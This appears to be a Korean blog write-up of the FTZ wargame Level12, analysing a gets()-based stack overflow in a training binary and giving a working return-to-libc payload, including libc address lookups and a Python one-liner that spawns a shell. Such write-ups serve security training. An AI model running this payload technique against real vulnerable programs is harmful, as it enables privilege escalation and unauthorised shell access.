Sqix

FTZ Level12 본문

Wargame/FTZ

FTZ Level12

Sqix_ow 2018. 6. 29. 18:27


이번에도 BOF 문제입니다. 마찬가지로 소스코드를 복사해서 tmp에 생성하고 디버깅을 해 보도록 합시다.


우선 main함수를 리버싱해 보겠습니다.


0x08048390 <main+0>: push   %ebp

0x08048391 <main+1>: mov    %esp,%ebp

0x08048393 <main+3>: sub    $0x108,%esp

0x08048399 <main+9>: and    $0xfffffff0,%esp

0x0804839c <main+12>: mov    $0x0,%eax

0x080483a1 <main+17>: sub    %eax,%esp


스택 프레임을 생성하고, 스택 공간을 264byte 만큼 확보(char str[256] + dummy 8 bytes)하고,  플래그들을 정리해 줍니다.


0x080483a3 <main+19>: sub    $0x8,%esp

0x080483a6 <main+22>: push   $0xc15

0x080483ab <main+27>: push   $0xc15

0x080483b0 <main+32>: call   0x80482d0 <setreuid>

0x080483b5 <main+37>: add    $0x10,%esp


setreuid 함수를 호출하는 부분입니다.

0x080483b8 <main+40>: sub    $0xc,%esp
0x080483bb <main+43>: push   $0x80484a0
0x080483c0 <main+48>: call   0x80482c0 <printf>
0x080483c5 <main+53>: add    $0x10,%esp

printf 함수를 호출하는 부분입니다.

0x080483c8 <main+56>: sub    $0xc,%esp

0x080483cb <main+59>: lea    0xfffffef8(%ebp),%eax

0x080483d1 <main+65>: push   %eax

0x080483d2 <main+66>: call   0x80482a0 <gets>

0x080483d7 <main+71>: add    $0x10,%esp


gets 함수를 호출하는 부분입니다.

0x080483da <main+74>: sub    $0x8,%esp
0x080483dd <main+77>: lea    0xfffffef8(%ebp),%eax
0x080483e3 <main+83>: push   %eax
0x080483e4 <main+84>: push   $0x80484bc
0x080483e9 <main+89>: call   0x80482c0 <printf>
0x080483ee <main+94>: add    $0x10,%esp

gets로 받아온 값을 출력해줍니다.


0x080483f1 <main+97>: leave  

0x080483f2 <main+98>: ret    

0x080483f3 <main+99>: nop    


스택프레임 종결부분입니다.


우선 A를 264개 넣고 분석을 해 보겠습니다.




스택의 구성은 저번 문제와 크게 다르지 않은 것 같습니다.


[ BUF(256) ] | [ DUMMY(8) ] | [ SFP ] | [ RET ] | [ dummy ] | [ ARGV ]


exploit하기 위해서는 SFP까지 덮어주고, RET를 System으로 변경해 준 뒤, 다시 dummy를 덮고, ARGV에 /bin/sh를 넣어 주면 shell을 딸 수 있습니다.



$ objdump -d /lib/tls/libc.so.6 | grep __libc_system 

$ strings -atx /lib/tls/libc.so.6 | grep "\/bin\/sh"


이를 통해서 system()함수의 주소와 /bin/sh의 주소를 구할 수 있습니다. (라이브러리 ASLR이 걸리지 않았기에 가능한 방법입니다.)


이를 기반으로 Attack code를 작성하면


$ (python -c 'print "A" * 268 + "\xc0\xf2\x03\x42" + "AAAA" + "\xa4\x7e\x12\x42"'; cat) | ./attackme


가 됩니다. 



'Wargame > FTZ' 카테고리의 다른 글

FTZ Level14  (0) 2018.07.10
FTZ Level13  (0) 2018.06.29
FTZ Level11  (0) 2018.06.18
FTZ Level10  (0) 2018.06.18
FTZ Level9  (0) 2018.06.18
Comments